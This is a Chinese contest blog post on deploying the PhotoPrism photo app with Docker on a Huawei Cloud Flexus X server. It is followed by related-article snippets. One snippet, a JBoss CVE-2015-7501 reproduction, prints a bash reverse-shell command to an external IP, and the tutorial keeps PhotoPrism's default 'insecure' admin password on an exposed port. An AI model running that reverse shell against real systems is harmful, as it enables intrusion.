青岛网站建设方案托管/淘宝流量平台
828华为云征文|部署去中心化网络的 AI 照片管理应用 PhotoPrism
- 一、Flexus云服务器X实例介绍
- 二、Flexus云服务器X实例配置
- 2.1 重置密码
- 2.2 服务器连接
- 2.3 安全组配置
- 2.4 Docker 环境搭建
- 三、Flexus云服务器X实例部署 PhotoPrism
- 3.1 PhotoPrism 介绍
- 3.2 PhotoPrism 部署
- 3.3 PhotoPrism 使用
- 四、总结
一、Flexus云服务器X实例介绍
随着数字化转型的加速,云服务器已成为企业与个人开发者的首选。它提供了按需分配的计算资源,确保了灵活性和可扩展性,同时降低了维护成本。无论是构建网站、托管应用还是数据分析,云服务器都能提供强大而稳定的支持,让您的创意和业务在云端自由飞翔。
华为云下一代云服务器Flexus X实例
焕新上线,新产品提供与华为云旗舰级云服务器产品相同的单AZ 99.975%可用性,跨AZ 99.995%可用性,并且基于客户业务负载进行动态性能画像,智能推荐资源规格,持续优化性能和成本,覆盖高科技、零售、金融、游戏等行业大多数通用工作负载场景。
Flexus X实例通过和其他服务组合,具备计算、镜像安装、网络、存储、安全等能力,您可根据业务需要灵活配置各资源。
本次测评使用的规格是:4核12G-100G-3M规格
的Flexus X实例基础模式
二、Flexus云服务器X实例配置
2.1 重置密码
购买服务器的时候可以提前设置用户名和密码,因为我这里跳过了,所以购买完成后需要重置密码,会短信或站内消息通过你的云服务器信息,重点是公网IP地址
和用户名,首先打开你的服务器控制台,选择重置密码
勾选自动重启,点击确定即可
2.2 服务器连接
华为云服务器提供了多种链接方式,如使用控制台提供的VNC方式登录、使用Linux/Mac OS系统主机登录Linux弹性云服务器(即ssh root@192.168.48.78
命令)或者使用Putty、Xshell等工具登录Linux弹性云服务器。
我个人习惯使用 MobaXterm
这款软件,添加SSH连接,输出公网IP
、用户名和端口(默认22),连接即可。
2.3 安全组配置
安全组是一个逻辑上的分组,为同一个VPC内的云服务器提供访问策略
。用户可以在安全组中定义各种访问规则,当云服务器加入该安全组后,即受到这些访问规则的保护。
系统为每个网卡默认创建一个默认安全组,默认安全组的规则是对出方向上的数据报文全部放行,入方向访问受限。您可以使用默认安全组,也可以根据需要创建自定义的安全组
。
主要需要填写优先级
(默认填1即可)、协议端口
(协议一般为TCP
或UDP
,端口一般选择你项目需要暴露的端口即可),描述
(选填,一般会填写此端口的用途以免忘记了),其他默认点击确定即可。安全组配置主要是暴露端口可以给外网访问。
如果还不清楚可以参考文档:安全组配置示例
2.4 Docker 环境搭建
本次服务器环境是ubuntu系统镜像,需要自己安装docker环境
服务器类别 | 系统镜像 | 内网IP地址 | Docker版本 | 操作系统版本 |
---|---|---|---|---|
Flexus云服务器X实例 | Ubuntu | 192.168.0.168 | 27.2.0 | Ubuntu 22.04.4 LTS |
使用apt-get
命令安装docker及其配置
# 安装必要工具包
$ sudo apt-get install \apt-transport-https \ca-certificates \curl \gnupg-agent \software-properties-common# 添加Docker GPG秘钥
$ sudo curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -# 配置仓库源
$ sudo add-apt-repository \"deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu \$(lsb_release -cs) \stable" # 更新apt包索引
$ sudo apt-get update# 安装docker
$ sudo apt-get install docker-ce docker-ce-cli containerd.io# 添加docker镜像源
$ sudo vim /etc/docker/daemon.json{"registry-mirrors": ["https://ustc-edu-cn.mirror.aliyuncs.com/","https://docker.mirrors.ustc.edu.cn","https://docker.nju.edu.cn","https://ccr.ccs.tencentyun.com/","https://docker.m.daocloud.io/","https://dockerproxy.com",]
}
# 重启
$ sudo systemctl daemon-reload
$ sudo systemctl restart docker
测试docker
安装是否成功
root@flexusx-c6b3:~# docker -v
Docker version 27.2.0, build 3ab4256```
检查docker
服务状态
root@flexusx-c6b3:~# systemctl status docker
* docker.service - Docker Application Container EngineLoaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)Active: active (running) since Fri 2024-08-30 15:53:45 CST; 17h ago
TriggeredBy: * docker.socketDocs: https://docs.docker.comMain PID: 24912 (dockerd)Tasks: 13Memory: 24.7MCPU: 3.778sCGroup: /system.slice/docker.service`-24912 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
检查docker compose
版本
root@flexusx-c6b3:~# docker compose version
Docker Compose version v2.29.2
三、Flexus云服务器X实例部署 PhotoPrism
3.1 PhotoPrism 介绍
PhotoPrism 是一款适用于去中心化网络的 AI 照片应用。它利用最新技术自动标记和查找图片,不会妨碍您。您可以在家中、私人服务器或云端运行它。
- 浏览所有照片和视频,无需担心RAW 转换、重复或视频格式
- 使用强大的搜索过滤器轻松找到特定图片
- 识别你的家人和朋友的面孔
- 根据图片内容和位置自动分类
- 将鼠标悬停在相册和搜索结果中的实况照片上即可播放实况照片
- 由于用户界面是一个渐进式 Web 应用程序,它提供了类似原生应用程序的体验,您可以方便地将其安装在所有主要操作系统和移动设备的主屏幕上
- 包含四张高分辨率世界地图,让您重温最喜爱的旅行回忆
- 从 Exif、XMP 和其他来源(例如 Google Photos)提取并合并元数据
- 还可以搜索更多图像属性,如颜色、色度和质量
- 使用PhotoSync在后台安全备份 iOS 和 Android 手机
- WebDAV 客户端(例如 Microsoft 的 Windows Explorer 和 Apple 的 Finder)可以直接连接到 PhotoPrism,这样您就可以打开、编辑和删除计算机上的文件,就像它们是本地文件一样
在数字化时代,我们拍摄、储存和分享照片的方式发生了革命性的变化。如何有效管理海量的图片是许多人的困扰,而PhotoPrism网站为这一问题提供了一种创新的解决方案。无论是在家中,私人服务器上,还是云端,用户都可以便捷地运行PhotoPrism以管理其照片库。把繁杂的图片管理工作变得简单高效,无论您是摄影爱好者还是专业人士,都很推荐尝试这个工具。
- 官网:https://www.photoprism.app/
- Github:https://github.com/photoprism/photoprism
3.2 PhotoPrism 部署
- 系统要求
- 必须安装:Docker环境
- 支持设备:Mac/ Linux/ Windows
- 硬件建议:2核3G以上
- 获取docker-compose.yml
官方建议使用Docker Compose,因为它比纯 Docker 命令行界面更简单,并且为运行多个服务提供了更多便利。
wget https://dl.photoprism.app/docker/docker-compose.yml
- 启动服务
进入项目目录,执行docker run
启动命令,会自动拉取容器并运行
从 Dockerhub 拉取 Photoprism 镜像,地址:https://hub.docker.com/r/photoprism/photoprism
root@flexusx-c6b3:~/photoprism# docker-compose up -d
Creating network "photoprism_default" with the default driver
Pulling watchtower (containrrr/watchtower:latest)...
latest: Pulling from containrrr/watchtower
57241801ebfd: Pull complete
3d4f475b92a2: Pull complete
1f05004da6d7: Pull complete
Digest: sha256:6dd50763bbd632a83cb154d5451700530d1e44200b268a4e9488fefdfcf2b038
Status: Downloaded newer image for containrrr/watchtower:latest
Pulling mariadb (mariadb:11)...
11: Pulling from library/mariadb
dafa2b0c44d2: Pull complete
2d5e0d69d765: Pull complete
5145df719521: Pull complete
ffe11d25f6ee: Pull complete
f0eb027ac47e: Pull complete
586260156254: Pull complete
62c80f8d2eea: Pull complete
36be09cfdba3: Pull complete
Digest: sha256:4066f2d4805fef72a83cf4a62689a0aadb6e83a8c8a82b64431edd4b94f684f8
Status: Downloaded newer image for mariadb:11
Pulling photoprism (photoprism/photoprism:latest)...
latest: Pulling from photoprism/photoprism
31e907dcc94a: Pull complete
fa1abcc626a4: Pull complete
f52a46d9b619: Pull complete
4f4fb700ef54: Pull complete
8e483297a9a6: Pull complete
5706be3315f4: Pull complete
Digest: sha256:1f14335e2cd9dfaadc555ac8d40aa8a3966a5b5e5ef88fa78973ef7e8673fa2b
Status: Downloaded newer image for photoprism/photoprism:latest
Creating photoprism_mariadb_1 ...
Creating photoprism_watchtower_1 ...
Creating photoprism_watchtower_1
Starting photoprism_mariadb_1 ... done
Creating photoprism_photoprism_1 ... done
- 配置安全组
在Flexus云服务器X实例的安全组管理页面,添加入方向规则,接下来我们启动服务需要监听2342端口,所以添加安全组为TCP:2342
协议端口。
- 检查容器状态
检查 PhotoPrism 容器状态,确保容器正常启动
root@flexusx-c6b3:~/photoprism# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
086b398e5e56 photoprism/photoprism:latest "/scripts/entrypoint…" 8 minutes ago Up 8 minutes 0.0.0.0:2342->2342/tcp, :::2342->2342/tcp, 2442-2443/tcp photoprism_photoprism_1
7d75ead11b26 mariadb:11 "docker-entrypoint.s…" 15 minutes ago Up 8 minutes 3306/tcp photoprism_mariadb_1
7f9821742e52 containrrr/watchtower "/watchtower" 15 minutes ago Up 8 minutes (healthy) 8080/tcp photoprism_watchtower_1
- 访问地址
内网:http://localhost:2342
外网:http://公网IP:2342
- 访问结果
若出现此页面,则部署 photoPrism server 成功。
3.3 PhotoPrism 使用
根据 docker-compose.yml
中配置的管理员帐号密码,输入然后登录
PHOTOPRISM_ADMIN_USER: "admin"
PHOTOPRISM_ADMIN_PASSWORD: "insecure"
首先我们需要进入 Settings - GENERAL,然后将语言设置为简体中文
首页展示了 PhotoPrism 的主要功能点,左侧功能栏:搜索、相册、视频、人物、收藏、瞬间、日历、地点、标签、文件夹、私有、资料库、设置,上侧功能栏包含全局搜索、刷新、切换视图、上传、展开条件搜索
添加相册,这个是直接创建的相册,没有选择输入相册名
选中后,在右下角功能菜单中,可以编辑相册,修改名称,可以添加位置、描述和分类
点击进入创建的相册,选择右上角的上传按钮,选择文件进行上传
上传完成,索引比较耗时,会提取照片的元数据及生成缩略图等,并且非照片和低质量图像出现在搜索结果中前需要进行审查
上传完成,导入照片的过程中会按照日期重新整理照片,并对照片重命名,最终都存放在 /photoprism/originals
文件夹下
查看文件目录如下,可以看到照片都被放在 2024 目录下,这是并且按照月份创建子目录,每个照片都以时间 + 随机码来命名
root@dev-fj-srv:~/Pictures# tree -L 3
.
`-- 2024|-- 02| |-- 20240227_181305_186F3D3A.jpg| `-- 20240227_192903_88B64E51.jpg`-- 09|-- 20240924_122440_55C78CF6.jpg|-- 20240924_122440_885EB45B.jpg3 directories, 64 files
使用强大的搜索过滤器轻松查找特定照片和视频。您的图片会根据其内容和位置自动分类。还可以搜索更多图像属性,如颜色、色度和质量。标记为私人、已存档或正在审核的图片不会出现在常规搜索结果中
如果上传的图片包含任务,会自动识别人脸信息
自动创建特殊时刻、旅行和地点相册
地点相册
自动添加标签,并分类展示
文件夹分类
展开资料库,可以查看源,这就是上传的文件的目录,单击文件夹即可打开该文件夹
单击文件即可打开其编辑对话框,查看图片信息,很丰富的元数据信息
查看资料库设置,包括索引、导入和日志信息
设置的选项也很多,在常规设置选项卡中,您可以配置基本用户界面设置以及地点中的地图,在高级设置页面中更改系统配置选项(例如图像质量),还可以禁用特定功能并启用调试或只读模式,资料设置仅供超级管理员使用,账户设置即个人信息设置
预览视频,界面很简单,可以全面无边框播放
预览图片,可以幻灯片播放、全屏、收藏、编辑等操作
如今我们每个人都积累了海量的照片和视频,自媒体人们积累的照片和视频数量可能更多,面对这么多的照片和视频,我们该如何管理呢?PhotoPrism 就是一个很全面的解决方案,强大的支持智能整理,让你轻松管理和浏览生活中的每一张照片。作为整理图片和视频的数据中心的基本使用就是这样了,比如上传、添加相册、修改相册和图片信息等,还有强大的检索能力,还有更多有趣的设置和功能就需要自行探索了。
四、总结
PhotoPrism像是一位体贴的数字助理,把繁杂的图片管理工作变得简单高效。无论您是摄影爱好者还是专业人士,这款平台都会成为您不可或缺的工具。因为其界面直观且功能强大,新用户通常能在短时间内掌握操作要领,查看详细的用户指南与演示,帮助他们更好地熟悉并发挥平台的全部潜力。此次使用的Flexus X实例
配置还是很高的4核12G-100G-3M规格
的基础模式
,对照片库进行自动扫描和索引,并生成智能标签以供查找和分组,整个过程没有出现延迟卡顿现象,只不过索引时间挺长的,但是这项目的索引器的确比较耗内存。
在探索PhotoPrism这个强大的AI照片管理工具后,是时候为您的项目寻找一个强大而可靠的家了。现在正进行828 B2B企业节
,华为云服务器以其卓越的性能、稳定性和安全性,为您提供了理想的部署环境。现在立即行动,享受华为云服务器带来的优惠和福利。
相关文章:

828华为云征文|部署去中心化网络的 AI 照片管理应用 PhotoPrism
828华为云征文|部署去中心化网络的 AI 照片管理应用 PhotoPrism 一、Flexus云服务器X实例介绍二、Flexus云服务器X实例配置2.1 重置密码2.2 服务器连接2.3 安全组配置2.4 Docker 环境搭建 三、Flexus云服务器X实例部署 PhotoPrism3.1 PhotoPrism 介绍3.2 PhotoPrism…...

【PAM】Linux登录认证限制
PAM(Pluggable Authentication Modules,可插拔认证模块)是一种灵活的认证框架,用于在 Linux 和其他类 Unix 系统上管理用户的身份验证。PAM 允许系统管理员通过配置不同的认证模块来定制应用程序和服务的认证方式,而不…...

Go语言Mutex的优化与TryLock机制解析
解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 Go语言中的Mutex优化与goroutine调度机制 Go语言的开发团队于2011年6月30日对Mutex进行了重大调整,这次调整主要目的是优化并发场景下的锁竞争,尤其是在多goroutine争抢同一把锁时的处理。这次优化不仅改进了锁…...

基于TSN的实时通信网络延迟评估技术
论文标题:A TSN-based Technique for Real-Time Latency Evaluation in Communication Networks 作者信息: Alberto Morato, Claudio Zunino, Manuel Cheminod, Stefano Vitturi,来自意大利国家研究委员会,CNR-IEIIT。电子邮件:…...

初识ZYNQ——FPGA学习笔记15
一、ZYNQ简介 ZYNQ:Zynq-7000 All Programmable SoC(APSoC),赛灵思公司(AMD Xilinx)推出的新一代全可编程片上系统 PS:Processing System,处理系统 PL:Program Logic&…...

理论-链表的头结点
所为头结点,是为了使空链表和非空链表的处理统一而在链表的头部增加的一个节点,这样无论链表是否为空,头指针都指向头结点,头结点中不存数据而只是存放指向第一个节点的指针。没有头结点的链表,头指针就指向第一个节点…...

oracle 分表代码示例
在Oracle数据库中,分表通常指的是将一个大表分解成多个较小的表,以提高管理和查询效率。这通常是通过分区(Partitioning)来实现的,而不是传统意义上的将表拆分成多个独立的表。不过,如果你确实需要将一个大…...

【MySQL】regexp_replace在MySQL以及regexp extract all在MySQL的用法
一、regexp_replace在MySQL的用法 在MySQL中,REGEXP_REPLACE() 函数用于在字符串中搜索正则表达式模式,并用指定的字符串替换该模式的每个匹配项。以下是其基本用法: 语法 REGEXP_REPLACE(expression, pattern, replace_string[, pos[, oc…...

详解 FFmpeg 中的 -map 选项
FFmpeg 是一个强大的多媒体处理工具,可以处理各种音视频转换、编辑任务。-map 选项是 FFmpeg 中非常重要且灵活的一个功能,它允许用户精确控制输入流如何映射到输出文件中。使用 -map,可以指定视频、音频或字幕等特定流进行处理,这…...

学习threejs,绘制二维线
👨⚕️ 主页: gis分享者 👨⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨⚕️ 收录于专栏:threejs gis工程师 文章目录 一、🍀前言二、🍀绘制二维线1. ☘️…...

跑lvs出现soft connect怎么处理?
首先,我们先了解一下什么是soft connect。简而言之,就是工具会将所有连接在psub上的信号认作soft connect(也就是short)。如图1所示,VSS和AVSS都接到了p上,它们通过psub便有了soft connect。 如果有soft co…...

实验1 Python语言基础一
目录 实验1 Python语言基础一1、下载安装Python,贴出验证安装成功截图2、建立test.py文件,运行后贴出截图,思考if __name”__main__”的意思和作用3、分别运行下面两种代码,分析运行结果产生的原因。记牢python中重要语法“tab”的作用。6、编…...

多线程相关内容
一、进程与线程 (一)进程的概述 进程是程序的一次执行过程,是系统进行资源分配和调度的一个独立单位。每个进程都有自己独立的内存空间,包括代码、数据和运行时的环境。进程的执行需要系统为其分配各种资源,如 CPU 时间、内存空间、文件描述符…...

mybatis-puls快速入门
1.概述 在真实项目开发中我们的服务模块,一般都要进行数据库操作,并且每个domain都有crud,需多次写重复代码。我们使用MybatisPlus,就不用写重复代码,并且还有模板的功能,可以一键生成daomin,query,mapper…...

Pool 和 PG 架构(二)
Ceph 的存储架构设计旨在提供高可用性和可扩展性。其中,Pool(存储池)和 PG(放置组)是两个核心概念。下面详细介绍 Ceph 的 Pool 和 PG 架构以及它们之间的关系。 1. Pool池 概念: Pool(存储池…...

客户服务升级指南:如何以细节赢得客户忠诚
在当今这个竞争激烈的市场环境中,客户忠诚度已成为企业生存与发展的关键所在。而要想赢得并维持客户的忠诚,仅凭优质的产品或服务已远远不够,更需要企业在客户服务上下足功夫,从每一个细节入手,打造超越客户期待的服务…...

闲盒支持的组网方式和注意事项
1. 直连光猫拨号 通过光猫拨号,设备直连光猫的设备,需要对光猫开启UPNP并关闭DMZ 如果只接一个盒子,建议直接针对盒子IP开dmz。 2. 直连路由器 通过路由器拨号,设备直连路由器的设备,需要对路由器开启UPNP并关闭…...

828华为云征文|华为云Flexus云服务器X实例之openEuler系统下搭建MaxKB开源知识库问答系统
828华为云征文|华为云Flexus云服务器X实例之openEuler系统下搭建MaxKB开源知识库问答系统 前言一、Flexus云服务器X实例介绍1.1 Flexus云服务器X实例简介1.2 Flexus云服务器X实例特点1.3 Flexus云服务器X实例使用场景 二、MaxKB 介绍2.1 MaxKB简介2.2 MaxKB整体架构…...

[Linux]:信号(上)
✨✨ 欢迎大家来到贝蒂大讲堂✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:Linux学习 贝蒂的主页:Betty’s blog 1. 信号的引入 1.1 信号的概念 在Linux系统中,信号(…...

浙大数据结构:05-树9 Huffman Codes
这道题难度挺大,写起来较为费劲,这里我依然使用了STL库,使得代码量大幅减少不过百行,便于大家理解。 机翻: 1、条件准备 数组存储字符对应频率,n,student存储输入多少字符,有多少学生测试。 …...

scrapy爬虫基础
一、初识 创建项目: scrapy startproject my_one_project # 创建项目命令 cd my_one_project # 先进去, 后面在里面运行 运行爬虫命令为:scrapy crawl tk spiders下创建test.py 其中name就是scrapy crawl tk &…...

利用H5无插件播放RTSP流的实现方案
文章目录 0. 引言1. 问题分析1.1 RTSP流与浏览器的兼容性1.2 解决思路 2. 方案设计2.1 总体架构2.2 关键组件 3. 实施步骤3.1 环境准备3.2 安装与配置3.2.1 安装FFmpeg3.2.2 安装OpenResty3.2.3 添加nginx-rtmp-module模块3.2.4 配置OpenResty 3.3 推流操作3.4 前端播放3.4.1 引…...

CSS文本格式化
通过 CSS 中的文本属性您可以像操作 Word 文档那样定义网页中文本的字符间距、对齐方式、缩进等等,CSS 中常用的文本属性如下所示: text-align:设置文本的水平对齐方式;text-decoration:设置文本的装饰;te…...

python的 __name__和__doc__属性
__name__属性 __name__属性 用于判断当前模块是不是程序入口,如果当前程序正在使用,__name__的值为__main__。 在编写程序时,通常需要给每个模块添加条件语句,用于单独测试该模块的功能。 每个模块都有一个名称,当一…...

Go语言中的Mutex实现探讨
解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 在并发编程中,互斥锁(Mutex)是一个重要的工具,它帮助我们控制多个协程对共享资源的访问,从而防止数据竞争和不一致性。本文将深入探讨Go语言中Mutex的实现历程和使用方式,同时分享在处理并发问题时的思路与…...

第五届计算机科学与管理科技国际学术会议(ICCSMT 2024)
梁哲,同济大学长聘特聘教授,国家杰青、首届国家杰青延续项目获得者、上海市曙光学者、上海市优秀学术带头人。本科毕业于新加坡国立大计算机工程系、硕士毕业于新加坡国立大学工业与系统工程系、博士毕业于美国新泽西州立大学工业工程系。理论研究主要集…...

【machine learning-13-线性回归的向量化】
向量化 向量化简洁并行计算 向量化 线性回归的向量化表示如下,其中w 和 x 都分别加了箭头表示这是个向量,后续不加也可以表示为向量,w和x点乘加上b,就构成了多元线性回归的表达方式,如下: 那么究竟为什么…...

【CSS|第2期】探索HTML与CSS中的文档流:从自然流到高级布局技巧
日期:2024年9月9日 作者:Commas 签名:(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释:如果您觉在这里插入代码片得有所帮助,帮忙点个赞,也可以关注我,我们一起成长;如果有不对…...

MATLAB绘图基础9:多变量图形绘制
参考书:《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。 9.多变量图形绘制 9.1 气泡图 气泡图用于展示三个或更多变量变量之间的关系,气泡图的组成要素: 横轴( X {\rm X} X轴):表示数据集中的一个变量,…...

JBOSS中间件漏洞复现
CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…...